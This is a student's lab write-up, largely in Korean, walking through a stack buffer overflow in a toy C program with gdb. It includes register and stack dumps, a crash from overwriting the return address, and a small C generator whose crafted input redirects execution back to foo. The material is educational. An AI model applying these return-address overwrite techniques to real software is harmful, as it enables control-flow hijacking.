Computer-Science

Flooding return address

1. Buffer overflow example:

f2.c :

#include <stdio.h>
void  foo(){
   char  id[5];
   printf("enter id\n");
   scanf("%s", id);
   printf("you entered %s \n", id);
}
int main(){
   foo();
   printf("program ends here\n");
   return 0;
}

1) ./f2둜 μž…λ ₯을 λ°›λŠ” 경우

2) ./f2 < attack-inp둜 μž…λ ₯을 λ°›λŠ” 경우

function call, stack frame

function call =>

  1. pass parameters to the stack
  2. push return address to the stack
  3. jump to the function
  4. the function will create space for local variables in the stack

stack frame

How do we enter 0x9c 0x84 0x04 0x08?

$ ./f2
enter id:
aaaa......aaaa


$ ./f2 < attack-inp


$ xxd attack-inp
0x61 0x61 0x61 .......... 0x9c 0x84 0x04 0x08

Exercise

1) When foo is called, the system pushes the return address for foo in the stack and jumps to foo. Use gdb to find out this return address and the stack location where this address is stored. Examine the contents of this stack location to confirm that the stack indeed has the return address.

f2.c의 μ½”λ“œλ₯Ό μž‘μ„±ν•˜κ³  싀행해보면 μ•„λž˜μ™€ κ°™λ‹€.

$ gdb f2

둜 gdbλ₯Ό μ‹€ν–‰ν•˜μ˜€κ³ ,

gdb$ disassemble main

으둜 main의 ASM μ½”λ“œλ₯Ό μ•„λž˜μ™€ 같이 ν™•μΈν•˜μ˜€λ‹€.

Dump of assembler code for function main:
   0x080484d6 <+0>:	push   %ebp
   0x080484d7 <+1>:	mov    %esp,%ebp
   0x080484d9 <+3>:	and    $0xfffffff0,%esp
   0x080484dc <+6>:	sub    $0x10,%esp
   0x080484df <+9>:	call   0x804849c <foo>
   0x080484e4 <+14>:	movl   $0x80485b1,(%esp)
   0x080484eb <+21>:	call   0x8048360 <puts@plt>
   0x080484f0 <+26>:	mov    $0x0,%eax
   0x080484f5 <+31>:	leave
   0x080484f6 <+32>:	ret
End of assembler dump.

λ˜ν•œ, μ•„λž˜ λͺ…λ Ήμ–΄λ‘œ register 값듀을 display ν•˜λ„λ‘ μ„€μ •ν•˜μ˜€λ‹€.

gdb$ display $esp
gdb$ display $ebp
gdb$ display $eip
gdb$ display $eax

main의 ASM μ½”λ“œμ—μ„œ call λͺ…령이 μ΄λ£¨μ–΄μ§€λŠ” 뢀뢄이 foo ν•¨μˆ˜ μœ„μΉ˜μΌ 것이라고 μƒκ°ν•˜κ³ , μ•„λž˜μ™€ 같이 0x080484df둜 breakpointλ₯Ό μ„€μ •ν–ˆλ‹€.

gdb$ b *0x080484df
Breakpoint 1 at 0x80484df: file f2.c, line 9.

λ‹€μŒμœΌλ‘œ, foo ν•¨μˆ˜μ˜ ASM μ½”λ“œλ₯Ό ν™•μΈν•΄λ³΄μ•˜λ‹€.

gdb$ disassemble foo
Dump of assembler code for function foo:
   0x0804849c <+0>:	push   %ebp
   0x0804849d <+1>:	mov    %esp,%ebp
   0x0804849f <+3>:	sub    $0x28,%esp
   0x080484a2 <+6>:	movl   $0x8048594,(%esp)
   0x080484a9 <+13>:	call   0x8048360 <puts@plt>
   0x080484ae <+18>:	lea    -0xd(%ebp),%eax
   0x080484b1 <+21>:	mov    %eax,0x4(%esp)
   0x080484b5 <+25>:	movl   $0x804859d,(%esp)
   0x080484bc <+32>:	call   0x8048390 <__isoc99_scanf@plt>
   0x080484c1 <+37>:	lea    -0xd(%ebp),%eax
   0x080484c4 <+40>:	mov    %eax,0x4(%esp)
   0x080484c8 <+44>:	movl   $0x80485a0,(%esp)
   0x080484cf <+51>:	call   0x8048350 <printf@plt>
   0x080484d4 <+56>:	leave
   0x080484d5 <+57>:	ret
End of assembler dump.

λ‹€μŒμœΌλ‘œλŠ” r λͺ…λ Ήμ–΄λ‘œ 디버깅을 μ‹œμž‘ν–ˆλ‹€.

gdb$ r
Starting program: /home/sec11/12181879/02/f2
[0x002B:0xFFFFD4E0]------------------------------------------------------[stack]
0xFFFFD530 : 00 00 00 00 70 F7 83 D7 - 06 B2 99 8D 00 00 00 00 ....p...........
0xFFFFD520 : 02 00 00 00 00 60 EC 44 - 00 00 00 00 00 00 00 00 .....`.D........
0xFFFFD510 : 01 00 00 00 01 00 00 00 - 00 00 00 00 02 00 00 00 ................
0xFFFFD500 : 01 00 00 00 94 D5 FF FF - 9C D5 FF FF B0 C6 FF F7 ................
0xFFFFD4F0 : 00 85 04 08 00 00 00 00 - 00 00 00 00 65 D8 D2 44 ............e..D
0xFFFFD4E0 : C4 63 EC 44 00 10 00 00 - 0B 85 04 08 00 60 EC 44 .c.D.........`.D
--------------------------------------------------------------------------[code]
=> 0x80484df <main+9>:	call   0x804849c <foo>
   0x80484e4 <main+14>:	mov    DWORD PTR [esp],0x80485b1
   0x80484eb <main+21>:	call   0x8048360 <puts@plt>
   0x80484f0 <main+26>:	mov    eax,0x0
--------------------------------------------------------------------------------

Breakpoint 1, main () at f2.c:9
9	   foo();
4: $eax = 0x1
3: $eip = (void (*)()) 0x80484df <main+9>
2: $ebp = (void *) 0xffffd4f8
1: $esp = (void *) 0xffffd4e0
Missing separate debuginfos, use: debuginfo-install glibc-2.16-34.fc18.i686

si λͺ…λ Ήμ–΄λ‘œ foo둜 μ΄λ™ν•˜μ˜€λ‹€.

[0x002B:0xFFFFD4DC]------------------------------------------------------[stack]
0xFFFFD52C : 00 00 00 00 00 00 00 00 - 70 F7 83 D7 06 B2 99 8D ........p.......
0xFFFFD51C : 02 00 00 00 02 00 00 00 - 00 60 EC 44 00 00 00 00 .........`.D....
0xFFFFD50C : B0 C6 FF F7 01 00 00 00 - 01 00 00 00 00 00 00 00 ................
0xFFFFD4FC : 65 D8 D2 44 01 00 00 00 - 94 D5 FF FF 9C D5 FF FF e..D............
0xFFFFD4EC : 00 60 EC 44 00 85 04 08 - 00 00 00 00 00 00 00 00 .`.D............
0xFFFFD4DC : E4 84 04 08 C4 63 EC 44 - 00 10 00 00 0B 85 04 08 .....c.D........
--------------------------------------------------------------------------[code]
=> 0x804849c <foo>:	push   ebp
   0x804849d <foo+1>:	mov    ebp,esp
   0x804849f <foo+3>:	sub    esp,0x28
   0x80484a2 <foo+6>:	mov    DWORD PTR [esp],0x8048594
--------------------------------------------------------------------------------
foo () at f2.c:2
2	void  foo(){
4: $eax = 0x1
3: $eip = (void (*)()) 0x804849c <foo>
2: $ebp = (void *) 0xffffd4f8
1: $esp = (void *) 0xffffd4dc
gdb$ ni
[0x002B:0xFFFFD4D8]------------------------------------------------------[stack]
0xFFFFD528 : 00 00 00 00 00 00 00 00 - 00 00 00 00 70 F7 83 D7 ............p...
0xFFFFD518 : 00 00 00 00 02 00 00 00 - 02 00 00 00 00 60 EC 44 .............`.D
0xFFFFD508 : 9C D5 FF FF B0 C6 FF F7 - 01 00 00 00 01 00 00 00 ................
0xFFFFD4F8 : 00 00 00 00 65 D8 D2 44 - 01 00 00 00 94 D5 FF FF ....e..D........
0xFFFFD4E8 : 0B 85 04 08 00 60 EC 44 - 00 85 04 08 00 00 00 00 .....`.D........
0xFFFFD4D8 : F8 D4 FF FF E4 84 04 08 - C4 63 EC 44 00 10 00 00 .........c.D....
--------------------------------------------------------------------------[code]
=> 0x804849d <foo+1>:	mov    ebp,esp
   0x804849f <foo+3>:	sub    esp,0x28
   0x80484a2 <foo+6>:	mov    DWORD PTR [esp],0x8048594
   0x80484a9 <foo+13>:	call   0x8048360 <puts@plt>
--------------------------------------------------------------------------------
0x0804849d	2	void  foo(){
4: $eax = 0x1
3: $eip = (void (*)()) 0x804849d <foo+1>
2: $ebp = (void *) 0xffffd4f8
1: $esp = (void *) 0xffffd4d8

ni λͺ…λ Ήμ–΄λ‘œ push ebpλ₯Ό μ‹€ν–‰ μ‹œν‚€λ©΄ λ©”λͺ¨λ¦¬ λ°”λ‘œ 뒀에 return addressκ°€ λ‚˜μ˜€λŠ” 것을 μ•Œ 수 μžˆλ‹€.

[stack]의 0xFFFFD4D8의 κ°’ 쀑 F8 D4 FF FF E4 84 04 08을 보면 push ebp둜 0xffffd4f8이 λ“€μ–΄κ°€κ³ , 뒀에 보면 return addresssκ°€ 0x080484e4κ°€ λ˜λŠ” 것을 μ•Œ 수 μžˆλ‹€.

stackμ—μ„œ μœ„μΉ˜λŠ” 0xFFFFD4DCκ°€ λ˜λŠ” 것을 μ•Œ 수 μžˆλ‹€.

2) Find out the starting address of id[]. Explain how you found it. How far is id[] from the stack location where the return address is stored? Draw a memory map that shows code area and stack area. The code area should show where is main function and where is foo function. The stack area should show where is the return address for foo and the location of id[].

id[]의 starting addressλŠ” foo의 ASM μ½”λ“œ 쀑 μ•„λž˜ 뢀뢄을 ν™•μΈν•˜λ©΄ μ•Œ 수 μžˆλ‹€.

gdb$ disassemble foo
Dump of assembler code for function foo:
   ......     ......        ......
   0x080484ae <+18>:	lea    -0xd(%ebp),%eax
   0x080484b1 <+21>:	mov    %eax,0x4(%esp)
   ......     ......        ......
End of assembler dump.

gdb둜 foo μ•ˆμ— λ“€μ–΄κ°€μ„œ instruction을 μ‹€ν–‰μ‹œν‚€λ©° eax, ebp, esp, eip의 흐름을 μ•„λž˜μ™€ 같이 μ‚΄νŽ΄λ³΄μ•˜λ‹€.

gdb$ ni
enter id
[0x002B:0xFFFFD4B0]------------------------------------------------------[stack]
0xFFFFD500 : 01 00 00 00 94 D5 FF FF - 9C D5 FF FF B0 C6 FF F7 ................
0xFFFFD4F0 : 00 85 04 08 00 00 00 00 - 00 00 00 00 65 D8 D2 44 ............e..D
0xFFFFD4E0 : C4 63 EC 44 00 10 00 00 - 0B 85 04 08 00 60 EC 44 .c.D.........`.D
0xFFFFD4D0 : 01 00 00 00 94 D5 FF FF - F8 D4 FF FF E4 84 04 08 ................
0xFFFFD4C0 : 00 80 00 00 D8 41 EC 44 - 00 A0 04 08 52 85 04 08 .....A.D....R...
0xFFFFD4B0 : 94 85 04 08 D0 C3 FF F7 - 00 D4 FF FF 1D 83 04 08 ................
--------------------------------------------------------------------------[code]
=> 0x80484ae <foo+18>:	lea    eax,[ebp-0xd]
   0x80484b1 <foo+21>:	mov    DWORD PTR [esp+0x4],eax
   0x80484b5 <foo+25>:	mov    DWORD PTR [esp],0x804859d
   0x80484bc <foo+32>:	call   0x8048390 <__isoc99_scanf@plt>
--------------------------------------------------------------------------------
5	   scanf("%s", id);
4: $eax = 0x9
3: $ebp = (void *) 0xffffd4d8
2: $esp = (void *) 0xffffd4b0
1: $eip = (void (*)()) 0x80484ae <foo+18>
gdb$ ni
[0x002B:0xFFFFD4B0]------------------------------------------------------[stack]
0xFFFFD500 : 01 00 00 00 94 D5 FF FF - 9C D5 FF FF B0 C6 FF F7 ................
0xFFFFD4F0 : 00 85 04 08 00 00 00 00 - 00 00 00 00 65 D8 D2 44 ............e..D
0xFFFFD4E0 : C4 63 EC 44 00 10 00 00 - 0B 85 04 08 00 60 EC 44 .c.D.........`.D
0xFFFFD4D0 : 01 00 00 00 94 D5 FF FF - F8 D4 FF FF E4 84 04 08 ................
0xFFFFD4C0 : 00 80 00 00 D8 41 EC 44 - 00 A0 04 08 52 85 04 08 .....A.D....R...
0xFFFFD4B0 : 94 85 04 08 D0 C3 FF F7 - 00 D4 FF FF 1D 83 04 08 ................
--------------------------------------------------------------------[ObjectiveC]
0xffffd4cb:	"\bR\205\004\b\001"
--------------------------------------------------------------------------[code]
=> 0x80484b1 <foo+21>:	mov    DWORD PTR [esp+0x4],eax
   0x80484b5 <foo+25>:	mov    DWORD PTR [esp],0x804859d
   0x80484bc <foo+32>:	call   0x8048390 <__isoc99_scanf@plt>
   0x80484c1 <foo+37>:	lea    eax,[ebp-0xd]
--------------------------------------------------------------------------------
0x080484b1	5	   scanf("%s", id);
4: $eax = 0xffffd4cb
3: $ebp = (void *) 0xffffd4d8
2: $esp = (void *) 0xffffd4b0
1: $eip = (void (*)()) 0x80484b1 <foo+21>
gdb$ ni
[0x002B:0xFFFFD4B0]------------------------------------------------------[stack]
0xFFFFD500 : 01 00 00 00 94 D5 FF FF - 9C D5 FF FF B0 C6 FF F7 ................
0xFFFFD4F0 : 00 85 04 08 00 00 00 00 - 00 00 00 00 65 D8 D2 44 ............e..D
0xFFFFD4E0 : C4 63 EC 44 00 10 00 00 - 0B 85 04 08 00 60 EC 44 .c.D.........`.D
0xFFFFD4D0 : 01 00 00 00 94 D5 FF FF - F8 D4 FF FF E4 84 04 08 ................
0xFFFFD4C0 : 00 80 00 00 D8 41 EC 44 - 00 A0 04 08 52 85 04 08 .....A.D....R...
0xFFFFD4B0 : 94 85 04 08 CB D4 FF FF - 00 D4 FF FF 1D 83 04 08 ................
--------------------------------------------------------------------[ObjectiveC]
0xffffd4cb:	"\bR\205\004\b\001"
--------------------------------------------------------------------------[code]
=> 0x80484b5 <foo+25>:	mov    DWORD PTR [esp],0x804859d
   0x80484bc <foo+32>:	call   0x8048390 <__isoc99_scanf@plt>
   0x80484c1 <foo+37>:	lea    eax,[ebp-0xd]
   0x80484c4 <foo+40>:	mov    DWORD PTR [esp+0x4],eax
--------------------------------------------------------------------------------
0x080484b5	5	   scanf("%s", id);
4: $eax = 0xffffd4cb
3: $ebp = (void *) 0xffffd4d8
2: $esp = (void *) 0xffffd4b0
1: $eip = (void (*)()) 0x80484b5 <foo+25>

eaxλ₯Ό μ‚΄νŽ΄λ³΄λ©΄ 0x9μ—μ„œ lea λͺ…λ Ήμ–΄κ°€ μ‹€ν–‰λœ ν›„ 0xffffd4cb둜 바뀐 것을 μ•Œ 수 μžˆλ‹€. κ·ΈλŸ¬λ―€λ‘œ id[]의 μœ„μΉ˜λŠ” 0xffffd4cb이닀.

3) After you enter an ID at β€œenter id” prompt, examine the memory to confirm that the entered ID is stored correctly. At which address are they stored? Is that address same as the location of id[] you found in Problem 2)?

gdb$ ni
777
[0x002B:0xFFFFD4B0]------------------------------------------------------[stack]
0xFFFFD500 : 01 00 00 00 94 D5 FF FF - 9C D5 FF FF B0 C6 FF F7 ................
0xFFFFD4F0 : 00 85 04 08 00 00 00 00 - 00 00 00 00 65 D8 D2 44 ............e..D
0xFFFFD4E0 : C4 63 EC 44 00 10 00 00 - 0B 85 04 08 00 60 EC 44 .c.D.........`.D
0xFFFFD4D0 : 01 00 00 00 94 D5 FF FF - F8 D4 FF FF E4 84 04 08 ................
0xFFFFD4C0 : 00 80 00 00 D8 41 EC 44 - 00 A0 04 37 37 37 00 08 .....A.D...777..
0xFFFFD4B0 : 9D 85 04 08 CB D4 FF FF - 00 D4 FF FF 1D 83 04 08 ................
--------------------------------------------------------------------------[code]
=> 0x80484c1 <foo+37>:	lea    eax,[ebp-0xd]
   0x80484c4 <foo+40>:	mov    DWORD PTR [esp+0x4],eax
   0x80484c8 <foo+44>:	mov    DWORD PTR [esp],0x80485a0
   0x80484cf <foo+51>:	call   0x8048350 <printf@plt>
--------------------------------------------------------------------------------
6	   printf("you entered %s \n", id);
4: $eip = (void (*)()) 0x80484c1 <foo+37>
3: $eax = 0x1
2: $ebp = (void *) 0xffffd4d8
1: $esp = (void *) 0xffffd4b0

777을 β€˜enter’ ν•˜μ˜€λ‹€. id 의 μ£Όμ†Œκ°’μΈ 0xFFFFD4CB에 37 37 37 ( = 7 7 7 ) 이 μž…λ ₯된 것을 확인할 수 μžˆλ‹€.

4) Step through the program until you are at ret instruction (right before running ret). What is the value of esp at this point? Instruction ret will make the cpu return to the location written in the stack where esp is pointing to. When the system executes ret, where the cpu should return? Do ni and confirm that the program correctly returns to the return address you have predicted.

(1) leave μ‹€ν–‰ μ „,

gdb$ ni
you entered 777
[0x002B:0xFFFFD4B0]------------------------------------------------------[stack]
0xFFFFD500 : 01 00 00 00 94 D5 FF FF - 9C D5 FF FF B0 C6 FF F7 ................
0xFFFFD4F0 : 00 85 04 08 00 00 00 00 - 00 00 00 00 65 D8 D2 44 ............e..D
0xFFFFD4E0 : C4 63 EC 44 00 10 00 00 - 0B 85 04 08 00 60 EC 44 .c.D.........`.D
0xFFFFD4D0 : 01 00 00 00 94 D5 FF FF - F8 D4 FF FF E4 84 04 08 ................
0xFFFFD4C0 : 00 80 00 00 D8 41 EC 44 - 00 A0 04 37 37 37 00 08 .....A.D...777..
0xFFFFD4B0 : A0 85 04 08 CB D4 FF FF - 00 D4 FF FF 1D 83 04 08 ................
--------------------------------------------------------------------------[code]
=> 0x80484d4 <foo+56>:	leave
   0x80484d5 <foo+57>:	ret
   0x80484d6 <main>:	push   ebp
   0x80484d7 <main+1>:	mov    ebp,esp
--------------------------------------------------------------------------------
7	}
4: $eip = (void (*)()) 0x80484d4 <foo+56>
3: $eax = 0x11
2: $ebp = (void *) 0xffffd4d8
1: $esp = (void *) 0xffffd4b0

ebp κ°’ : 0xffffd4d8
esp κ°’ : 0xffffd4b0

(2) leave μ‹€ν–‰ ν›„,

gdb$ ni
[0x002B:0xFFFFD4DC]------------------------------------------------------[stack]
0xFFFFD52C : 00 00 00 00 00 00 00 00 - 97 A2 E3 6A E1 E7 F9 30 ...........j...0
0xFFFFD51C : 02 00 00 00 02 00 00 00 - 00 60 EC 44 00 00 00 00 .........`.D....
0xFFFFD50C : B0 C6 FF F7 01 00 00 00 - 01 00 00 00 00 00 00 00 ................
0xFFFFD4FC : 65 D8 D2 44 01 00 00 00 - 94 D5 FF FF 9C D5 FF FF e..D............
0xFFFFD4EC : 00 60 EC 44 00 85 04 08 - 00 00 00 00 00 00 00 00 .`.D............
0xFFFFD4DC : E4 84 04 08 C4 63 EC 44 - 00 10 00 00 0B 85 04 08 .....c.D........
--------------------------------------------------------------------------[code]
=> 0x80484d5 <foo+57>:	ret
   0x80484d6 <main>:	push   ebp
   0x80484d7 <main+1>:	mov    ebp,esp
   0x80484d9 <main+3>:	and    esp,0xfffffff0
--------------------------------------------------------------------------------
0x080484d5	7	}
4: $eip = (void (*)()) 0x80484d5 <foo+57>
3: $eax = 0x11
2: $ebp = (void *) 0xffffd4f8
1: $esp = (void *) 0xffffd4dc

ebp κ°’ : 0xffffd4f8 (μ €μž₯λ˜μ–΄ 있던 old ebp κ°’)
esp κ°’ : 0xffffd4dc (return address E4 84 04 08 C4κ°€ μ €μž₯된 κ³³)

(3) ret μ‹€ν–‰ ν›„,

gdb$ ni
[0x002B:0xFFFFD4E0]------------------------------------------------------[stack]
0xFFFFD530 : 00 00 00 00 97 A2 E3 6A - E1 E7 F9 30 00 00 00 00 .......j...0....
0xFFFFD520 : 02 00 00 00 00 60 EC 44 - 00 00 00 00 00 00 00 00 .....`.D........
0xFFFFD510 : 01 00 00 00 01 00 00 00 - 00 00 00 00 02 00 00 00 ................
0xFFFFD500 : 01 00 00 00 94 D5 FF FF - 9C D5 FF FF B0 C6 FF F7 ................
0xFFFFD4F0 : 00 85 04 08 00 00 00 00 - 00 00 00 00 65 D8 D2 44 ............e..D
0xFFFFD4E0 : C4 63 EC 44 00 10 00 00 - 0B 85 04 08 00 60 EC 44 .c.D.........`.D
--------------------------------------------------------------------------[code]
=> 0x80484e4 <main+14>:	mov    DWORD PTR [esp],0x80485b1
   0x80484eb <main+21>:	call   0x8048360 <puts@plt>
   0x80484f0 <main+26>:	mov    eax,0x0
   0x80484f5 <main+31>:	leave
--------------------------------------------------------------------------------
main () at f2.c:10
10	   printf("program ends here\n");
4: $eip = (void (*)()) 0x80484e4 <main+14>
3: $eax = 0x11
2: $ebp = (void *) 0xffffd4f8
1: $esp = (void *) 0xffffd4e0

eip κ°’ : 0x080484e4 (return address)
ebp κ°’ : 0xffffd4f8 (이전 λ‹¨κ³„μ—μ„œ λ³€ν•˜μ§€ μ•ŠμŒ)
esp κ°’ : 0xffffd4e0 (이전 λ‹¨κ³„μ—μ„œ + 4byte)

5) Re-run the debugger with r command, and this time enter a long ID such that it changes the return address. Dump the memory starting from id[] up to the return address location to see the changed return address. When the gdb executes ret instruction, where does it return?

이전 μ˜ˆμ‹œμ™€λŠ” λ‹€λ₯΄κ²Œ 30자리의 κΈ΄ 값을 μž…λ ₯으둜 enter ν•˜μ˜€λ‹€.

gdb$ ni
77777777777777777777777777777
[0x002B:0xFFFFD4B0]------------------------------------------------------[stack]
0xFFFFD500 : 01 00 00 00 94 D5 FF FF - 9C D5 FF FF B0 C6 FF F7 ................
0xFFFFD4F0 : 00 85 04 08 00 00 00 00 - 00 00 00 00 65 D8 D2 44 ............e..D
0xFFFFD4E0 : 37 37 37 37 37 37 37 37 - 00 85 04 08 00 60 EC 44 77777777.....`.D
0xFFFFD4D0 : 37 37 37 37 37 37 37 37 - 37 37 37 37 37 37 37 37 7777777777777777
0xFFFFD4C0 : 00 80 00 00 D8 41 EC 44 - 00 A0 04 37 37 37 37 37 .....A.D...77777
0xFFFFD4B0 : 9D 85 04 08 CB D4 FF FF - 00 D4 FF FF 1D 83 04 08 ................
--------------------------------------------------------------------------[code]
=> 0x80484c1 <foo+37>:	lea    eax,[ebp-0xd]
   0x80484c4 <foo+40>:	mov    DWORD PTR [esp+0x4],eax
   0x80484c8 <foo+44>:	mov    DWORD PTR [esp],0x80485a0
   0x80484cf <foo+51>:	call   0x8048350 <printf@plt>
--------------------------------------------------------------------------------
6	   printf("you entered %s \n", id);
4: $eip = (void (*)()) 0x80484c1 <foo+37>
3: $eax = 0x1
2: $ebp = (void *) 0xffffd4d8
1: $esp = (void *) 0xffffd4b0

0xFFFFD4D0λ₯Ό 보면, old ebp κ°’κ³Ό rtn address 값이 37373737으둜 바뀐 것을 확인할 수 μžˆλ‹€.

gdb$ ni
[0x002B:0xFFFFD4DC]------------------------------------------------------[stack]
0xFFFFD52C : 00 00 00 00 00 00 00 00 - 27 9A 20 3A 51 DF 3A 60 ........'. :Q.:`
0xFFFFD51C : 02 00 00 00 02 00 00 00 - 00 60 EC 44 00 00 00 00 .........`.D....
0xFFFFD50C : B0 C6 FF F7 01 00 00 00 - 01 00 00 00 00 00 00 00 ................
0xFFFFD4FC : 65 D8 D2 44 01 00 00 00 - 94 D5 FF FF 9C D5 FF FF e..D............
0xFFFFD4EC : 00 60 EC 44 00 85 04 08 - 00 00 00 00 00 00 00 00 .`.D............
0xFFFFD4DC : 37 37 37 37 37 37 37 37 - 37 37 37 37 00 85 04 08 777777777777....
--------------------------------------------------------------------------[code]
=> 0x80484d5 <foo+57>:	ret
   0x80484d6 <main>:	push   ebp
   0x80484d7 <main+1>:	mov    ebp,esp
   0x80484d9 <main+3>:	and    esp,0xfffffff0
--------------------------------------------------------------------------------
0x080484d5	7	}
4: $eip = (void (*)()) 0x80484d5 <foo+57>
3: $eax = 0x2b
2: $ebp = (void *) 0x37373737
1: $esp = (void *) 0xffffd4dc

ret λͺ…λ Ήμ–΄ 직전에 ebp 값이 0x37373737 인 것을 확인할 수 μžˆλ‹€.

gdb$ ni
[0x002B:0xFFFFD4E0]------------------------------------------------------[stack]
0xFFFFD530 : 00 00 00 00 27 9A 20 3A - 51 DF 3A 60 00 00 00 00 ....'. :Q.:`....
0xFFFFD520 : 02 00 00 00 00 60 EC 44 - 00 00 00 00 00 00 00 00 .....`.D........
0xFFFFD510 : 01 00 00 00 01 00 00 00 - 00 00 00 00 02 00 00 00 ................
0xFFFFD500 : 01 00 00 00 94 D5 FF FF - 9C D5 FF FF B0 C6 FF F7 ................
0xFFFFD4F0 : 00 85 04 08 00 00 00 00 - 00 00 00 00 65 D8 D2 44 ............e..D
0xFFFFD4E0 : 37 37 37 37 37 37 37 37 - 00 85 04 08 00 60 EC 44 77777777.....`.D
Error while running hook_stop:
Cannot access memory at address 0x37373737
0x37373737 in ?? ()
4: $eip = (void (*)()) 0x37373737
3: $eax = 0x2b
2: $ebp = (void *) 0x37373737
1: $esp = (void *) 0xffffd4e0
gdb$ ni

Program received signal SIGSEGV, Segmentation fault.
[0x002B:0xFFFFD4E0]------------------------------------------------------[stack]
0xFFFFD530 : 00 00 00 00 27 9A 20 3A - 51 DF 3A 60 00 00 00 00 ....'. :Q.:`....
0xFFFFD520 : 02 00 00 00 00 60 EC 44 - 00 00 00 00 00 00 00 00 .....`.D........
0xFFFFD510 : 01 00 00 00 01 00 00 00 - 00 00 00 00 02 00 00 00 ................
0xFFFFD500 : 01 00 00 00 94 D5 FF FF - 9C D5 FF FF B0 C6 FF F7 ................
0xFFFFD4F0 : 00 85 04 08 00 00 00 00 - 00 00 00 00 65 D8 D2 44 ............e..D
0xFFFFD4E0 : 37 37 37 37 37 37 37 37 - 00 85 04 08 00 60 EC 44 77777777.....`.D
Error while running hook_stop:
Cannot access memory at address 0x37373737
0x37373737 in ?? ()
4: $eip = (void (*)()) 0x37373737
3: $eax = 0x2b
2: $ebp = (void *) 0x37373737
1: $esp = (void *) 0xffffd4e0
gdb$ ni

Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
Error while running hook_stop:
No registers.

이후, ni λͺ…λ Ήμ–΄λ‘œ 계속 진행해보면,
Cannot access memory at address 0x37373737λΌλŠ” 문ꡬ둜 μ—λŸ¬κ°€ λ°œμƒν•˜μ˜€μŒμ„ 확인할 수 μžˆλ‹€.

0x37373737μ΄λΌλŠ” μ£Όμ†Œ 값에 μ ‘κ·Όν•˜μ§€ λͺ»ν•˜κΈ° λ•Œλ¬Έμ— μ—λŸ¬κ°€ λ°œμƒν•œ κ²ƒμœΌλ‘œ μœ μΆ”ν•  수 μžˆλ‹€.

6) Can you give an input such that the program asks β€œenter id” more than once? Remember you are not changing the program. You only give some strange input that would confuse the program. You will need to redirect the standard input in order to provide numeric input as follows.

gdb$ disassemble foo
Dump of assembler code for function foo:
   0x0804849c <+0>:	push   ebp
   ......     ......        ......
   0x080484d5 <+57>:	ret
End of assembler dump.

λ¨Όμ € foo의 ASM μ½”λ“œλ₯Ό ν™•μΈν•΄λ³΄μ•˜μ„ λ•Œ, μ£Όμ†ŒλŠ” 0x0804849c이닀.

vi λͺ…λ Ήμ–΄λ‘œ inp-write.cλ₯Ό μƒˆλ‘œ λ§Œλ“€μ—ˆλ‹€. bufλ₯Ό μƒμ„±ν•˜μ—¬ λ¬Έμžμ—΄ (β€œabcβ€¦β€œ)을 λ‹΄μ•˜κ³ , μ΄μ–΄μ„œ foo ν•¨μˆ˜μ˜ μ£Όμ†ŒμΈ 0x0804849cλ₯Ό λ‹΄μ•˜λ‹€.

inp-write.c:

#include <stdio.h>
#include <string.h>
int main(){
char buf[200];
        // assume we need 17 bytes to reach return address
        strcpy(buf,"abcdeabcdeabcdeab"); // 17 bytes
        // and we overwrite return address
        // with the address of foo (assume it was 0x0804849c)
        buf[17]=0x9c;
        buf[18]=0x84;
        buf[19]=0x04;
        buf[20]=0x08;
        write(1, buf, 21); // write to file number 1 which is the screen.
        return 0;
}

./둜 inp-write νŒŒμΌμ„ μ‹€ν–‰ν•˜λ©΄, return address에 foo ν•¨μˆ˜μ˜ μ£Όμ†Œκ°’μ΄ μ €μž₯되고, κ·Έ μ£Όμ†Œκ°’μ— μ§€μ •λœ λͺ…령을 μˆ˜ν–‰ν•˜κ²Œ λœλ‹€.

$ gcc -o inp-write inp-write.c
$ ./inp-write > attack-inp
$ # Check if attack-inp has the right attack bytes:
$ xxd attack-inp
0000000: 6162 6364 6561 6263 6465 6162 6364 6561  abcdeabcdeabcdea
0000010: 629c 8404 08                             b....
$ # And use this to attack f2:
$ ./f2 < attack-inp
enter id
you entered abcdeabcdeabcdeabοΏ½
enter id
you entered eabcdeabcdeabdeab
μ„Έκ·Έλ©˜ν…Œμ΄μ…˜ 였λ₯˜ (core dumped)

처음 fooλ₯Ό μ‹€ν–‰ν–ˆμ„ λ•ŒλŠ” 였λ₯˜κ°€ 좜λ ₯λ˜μ§€ μ•Šκ³ ,
λ‘λ²ˆμ§Έλ‘œ fooλ₯Ό μ‹€ν–‰ν•˜λ©΄ β€œμ„Έκ·Έλ©˜ν…Œμ΄μ…˜ 였λ₯˜ (core dumped)”가 좜λ ₯λœλ‹€. μ΄λŠ” λ‘λ²ˆμ§Έ μž…λ ₯된 idκ°€ 달라 μ €μž₯된 return addressκ°€ λ³€κ²½λ˜μ—ˆκΈ° λ•Œλ¬Έμ΄λ‹€.